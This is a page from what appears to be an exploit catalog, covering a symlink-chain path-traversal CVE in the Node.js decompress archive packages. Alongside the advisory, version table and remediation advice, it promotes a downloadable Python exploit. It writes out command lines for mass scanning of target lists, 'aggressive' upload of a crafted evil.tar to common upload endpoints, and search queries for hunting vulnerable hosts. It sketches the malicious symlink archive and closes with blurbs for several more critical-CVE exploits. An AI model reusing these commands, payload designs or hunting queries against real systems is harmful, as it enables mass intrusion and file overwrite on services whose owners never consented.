CVE-2026-101894 — @xhmikosr/decompress Symlink-Chain Archive Path Traversal
September 29, 2026 · 1,060 views
Node.js @xhmikosr/decompress (and unmaintained decompress): read/write outside output dir via chained symlink archive entries — bypass of CVE-2026-53486 hardening. Fixed in 10.2.2 / 11.1.4; kevva decompress ≤4.2.1 unpatched. CVSS 3.1 9.1 Critical. Python PoC: --lab, lockfile check, evil.tar upload exploit, mass -j.
Description
Overview
CVE-2026-101894 — archive extraction in @xhmikosr/decompress (and legacy decompress) allows read/write outside the output directory via a chain of symlink entries, bypassing CVE-2026-53486 mitigations.
| | |
|---|---|
| Package | @xhmikosr/decompress (maintained), decompress (kevva, unpatched) |
| API | Default decompress(input, output) |
| CWE | CWE-22 path traversal, CWE-59 link following |
| Fixed | 10.2.2 (10.x), 11.1.4 (11.x) |
| CVSS 3.1 | 9.1 Critical |
| GHSA | GHSA-hrh2-vp3x-79xf |
Lexical path checks fail when sequential symlink entries cause the kernel to resolve later entries outside the intended extract root. Attacker-controlled archives can overwrite or read configs, startup scripts, or sensitive files → RCE in CI, containers, and upload-and-extract services.
PoC page: https://pocbit.org/pocs/cve-2026-101894
GitHub: murrez/CVE-2026-101894
Affected versions
| Package | Vulnerable | Patched |
|---------|------------|---------|
| @xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
| @xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
| decompress (kevva) | ≤ 4.2.1 | none — migrate |
Migrate legacy decompress to @xhmikosr/[email protected]+.
Bundled tool (Python 3)
Download poc.py from this page (View exploit code).
pip install -r requirements.txt
# Authoritative local proof (Node.js + npm required)
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Mode | Purpose |
|------|---------|
| --lab | Installs vulnerable 11.1.3 in lab/, verifies symlink-chain escape |
| --write-evil-tar | Writes payload archive (POCBIT-101894-ESCAPED marker) |
| check | Exposed package.json / lockfile → risky decompress version? |
| exploit | POST symlink-chain evil.tar to common upload paths (mass supported) |
| mass | --list + -j → hits.txt, exploited.txt |
Remote exploit proves 2xx upload acceptance + weak version fingerprint when lockfiles leak — not that the server actually extracted with decompress. Use --lab for definitive extraction proof.
Note: check → hits = public lockfile + vulnerable dep. exploit → exploited = at least one tried upload path returned 2xx. Many targets show vulnerable_dep_no_upload_endpoint (dependency leak without public archive upload).
evil.tar (concept)
Symlink chain (simplified):
a/b/c/up→../..a/b/escape→c/up/../..esc→..- Regular files with marker payload under escaped path
Matches the symlink-chain bypass class fixed in 11.1.4 (realpath / containment).
Remediation
- Upgrade
@xhmikosr/decompress≥ 11.1.4 (or ≥ 10.2.2 on 10.x). - Replace unmaintained
decompressentirely. - Never extract untrusted archives into sensitive roots; use isolated workers.
Hunting (examples)
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
Lockfiles are rarely public in production; checks often hit staging, CI artifacts, or misconfigured static hosting.
Legal and ethical use
Test only systems you are authorized to assess. Do not upload malicious archives to third-party production services.
References
- NVD — CVE-2026-101894
- PoCbit catalog
- GitHub PoC — CVE-2026-101894
- Prior: CVE-2026-53486 / GHSA-mp2f-45pm-3cg9
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- Web appCVE-2026-21589critical
CVE-2026-21589 — Atlassian Data Center Pre-Auth Arbitrary File Read (:: Traversal)
Atlassian DC/self-managed (Jira, Confluence, Bitbucket, etc.): atlassian-plugins-webresource unescapeSlashes converts :: to / — ..:: traversal on /download/resources/ reads files under web app root (WEB-INF/web.xml, crowd.properties). CVSS 4.0 9.3 Critical, unauthenticated, read-only not RCE. Python PoC: check/exploit, --grab-crowd, mass -j. Marker POCBIT-21589-OK.
- Web appCVE-2026-105844critical
CVE-2026-105844 — Payload CMS Import/Export Plugin Prototype Pollution → ACL Bypass
Payload CMS + @payloadcms/plugin-import-export ≥3.0.0 <3.88.0: POST /api/exports/export-preview fields __proto__.overrideAccess pollutes Object.prototype via getSelect() → overrideAccess on later REST ops, unauthenticated data leak (app-dependent RCE). CWE-1321, CVSS 4.0 9.3 Critical. Fixed 3.88.0 / 4.0.0-canary.27. Python PoC: check/exploit/mass -j, hits.txt & exploited.txt.
- Web appCVE-2026-100721critical
CVE-2026-100721 — vm2 NodeVM External Allowlist Bypass (Sandbox Escape)
Incorrect authorization (CWE-863) in vm2 npm before 3.12.2: NodeVM external allowlist and resolver path checks allow colliding package names (evil-left-pad) or prefix path tricks → host-context require and sandbox escape / host RCE when embedders run untrusted JS with require.external + custom resolve. CVSS 9.0/9.5 Critical. Python PoC: --lab (Node), check, remote exploit, mass -j.
- Web appCVE-2026-106445critical
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE (Function.prototype.constructor Bypass)
handlebars 4.0.0–4.7.9: lookupProperty own-property order bypasses proto deny list → Function.prototype.constructor → sandbox escape when allowProtoMethodsByDefault:true and attacker-controlled compile (CWE-184/CWE-1289). CVSS 4.0 9.2 Critical AT:P. Fixed 4.7.10 GHSA-p8wg-vrv2-v86f. Python PoC: check/exploit, Docker lab, --render-path. Marker POCBIT-106445-OK.